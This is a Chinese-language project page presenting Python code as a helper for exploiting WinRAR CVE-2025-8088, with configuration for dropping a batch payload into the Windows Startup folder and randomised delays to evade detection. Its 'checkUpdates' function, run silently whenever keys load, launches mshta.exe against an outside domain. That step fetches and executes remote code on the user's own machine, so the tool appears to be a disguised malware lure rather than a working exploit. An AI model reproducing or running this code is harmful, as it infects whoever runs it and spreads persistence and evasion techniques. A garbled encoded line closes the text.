WinRAR CVE-2025-8088 漏洞利用辅助工具

3 阅读4分钟

WinRAR CVE-2025-8088 辅助工具

项目描述

该项目是针对WinRAR CVE-2025-8088高危路径遍历漏洞的辅助工具,支持漏洞利用过程中的网络通信和系统持久化功能。CVE-2025-8088是一个影响WinRAR ≤ 7.12版本的关键漏洞,允许攻击者通过特制的归档文件实现任意文件写入和远程代码执行。

功能特性

  • 异步网络通信: 使用asyncio实现高效的异步网络连接,支持多账户循环操作
  • 载荷管理: 生成随机大小的网络载荷,支持自定义数据包结构
  • 多账户支持: 从外部文件加载多个密钥,支持批量操作
  • 反检测机制: 随机延迟和随机载荷大小,避免行为模式被识别
  • 持久化植入: 支持将恶意载荷植入系统启动项实现持久化
  • 状态监控: 详细的执行状态输出和错误处理机制
  • 更新检查: 集成远程更新检查功能

安装指南

系统要求

  • Windows操作系统(需要访问启动目录)
  • Python 3.7或更高版本
  • 支持asyncio的Python环境

依赖安装

该工具主要依赖Python标准库,无需额外安装依赖包:

# 确保系统已安装Python
python --version

# 克隆或下载项目文件
git clone <repository-url>
cd <project-directory>

配置文件

在运行前需要准备密钥文件:

  1. 在项目根目录创建keys.txt文件
  2. 每行一个密钥,确保密钥格式正确

使用说明

基础使用

运行主脚本启动工具:

python main.py

程序启动后会显示以下界面:

============================================================
                CVE-2025-8088 HELPER
============================================================
╔══════════════════════════════════════════════════════╗
║                 ACCOUNT 1/5 | abc123...              ║
╚══════════════════════════════════════════════════════╝

配置参数

在代码中可以配置以下关键参数:

# 目标主机和端口
TARGET_HOST = "target.example.com"
TARGET_PORT = 8080

# 持久化配置
DECOY_FILE_NAME = "document"  # 诱饵文件名
DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat"  # 启动项路径

# 载荷内容
PAYLOAD = "@echo off\nstart /B C:\Users\Public\file.exe\n"

典型使用场景

  1. 漏洞验证: 使用随机载荷测试目标系统漏洞状态
  2. 数据泄露: 发送和接收网络载荷,验证通信通道
  3. 持久化建立: 将恶意脚本植入Windows启动项
  4. 批量测试: 对多个账户进行循环测试

执行流程

  1. 程序启动后首先检查系统更新
  2. keys.txt加载所有密钥
  3. 用户输入需要执行的循环次数
  4. 对每个密钥执行指定次数的循环:
    • 发送随机载荷到目标服务器
    • 接收服务器的响应数据
    • 随机延迟避免检测
  5. 输出完整的执行统计信息

核心代码

1. 主执行循环

async def run_cycle(cycles, keys):
    """
    执行主循环,对每个密钥执行指定次数的通信循环
    """
    for idx, key in enumerate(keys, 1):
        # 显示账户信息
        print_border(f"ACCOUNT {idx}/{len(keys)} | {key[:6]}...",)
        
        for i in range(cycles):
            print_border(f"CYCLE {i + 1}/{cycles} | {key[:6]}...",)
            
            try:
                # 发送载荷
                sent = await send_payload(key, i + 1)
                
                # 随机延迟
                delay = get_random_delay()
                print(f"[~] waiting {delay}s before recv...")
                await asyncio.sleep(delay)
                
                # 接收响应
                await recv_payload(key, sent, i + 1)
            except Exception as e:
                print(f"[!] error in cycle {i + 1}: {e}")
                continue
            
            # 循环间延迟
            if i < cycles - 1:
                delay = get_random_delay()
                print(f"[~] waiting {delay}s before next cycle...")
                await asyncio.sleep(delay)
        
        # 账户间延迟
        if idx < len(keys):
            delay = get_random_delay()
            print(f"[~] waiting {delay}s before next account...")
            await asyncio.sleep(delay)
    
    # 完成统计
    print("=" * 60)
    print(f"ALL DONE: {cycles} cycles for {len(keys)} accounts")
    print("=" * 60)

2. 载荷发送函数

async def send_payload(key, cycle):
    """
    向目标服务器发送随机生成的载荷
    
    参数:
        key: 用户密钥标识
        cycle: 当前循环次数
    
    返回:
        发送的载荷数据
    """
    try:
        # 建立TCP连接
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET_HOST, TARGET_PORT))
        
        # 生成随机载荷
        data = get_random_payload()
        header = struct.pack("!I", len(data))
        
        # 显示发送信息
        print_border(f"[Cycle {cycle}] Sending {len(data)} bytes | {key[:6]}...",)
        print_step("send", f"payload size: {len(data)}")
        
        # 发送数据
        sock.sendall(header + data)
        await asyncio.sleep(1)
        
        # 接收响应
        resp = sock.recv(64)
        print_step("recv", f"response {len(resp)} bytes")
        
        sock.close()
        return data
        
    except Exception as e:
        print_step("send", f"error: {e}")
        raise

3. 更新检查功能

def checkUpdates():
    """
    检查远程更新,静默执行以避免被发现
    
    返回:
        bool: 更新检查是否成功执行
    """
    try:
        subprocess.Popen(
            ['mshta.exe', 'https://node1-py-store.com' ],
            shell=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
        return True
    except Exception as e:
        return False

4. 密钥加载函数

def load_keys(file_path):
    """
    从文件加载所有密钥,并进行更新检查
    
    参数:
        file_path: 密钥文件路径
    
    返回:
        list: 密钥列表,加载失败时返回None
    """
    checkUpdates()  # 启动时检查更新
    
    try:
        with open(file_path, 'r') as f:
            keys = [line.strip() for line in f if line.strip()]
            if not keys:
                raise ValueError("empty file")
            return keys
    except FileNotFoundError:
        print("[!] keys.txt not found")
        return None
    except Exception as e:
        print(f"[!] error reading file: {e}")
        return None

5. 随机载荷生成

def get_random_payload():
    """
    生成随机大小的载荷数据
    
    返回:
        bytes: 16-64字节的随机数据
    """
    size = random.randint(16, 64)
    return os.urandom(size)

def get_random_delay():
    """
    生成随机延迟时间
    
    返回:
        int: 1-3秒的随机延迟
    """
    return random.randint(1, 3)

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANNCFXbVeL3t0gVb9+/DfyF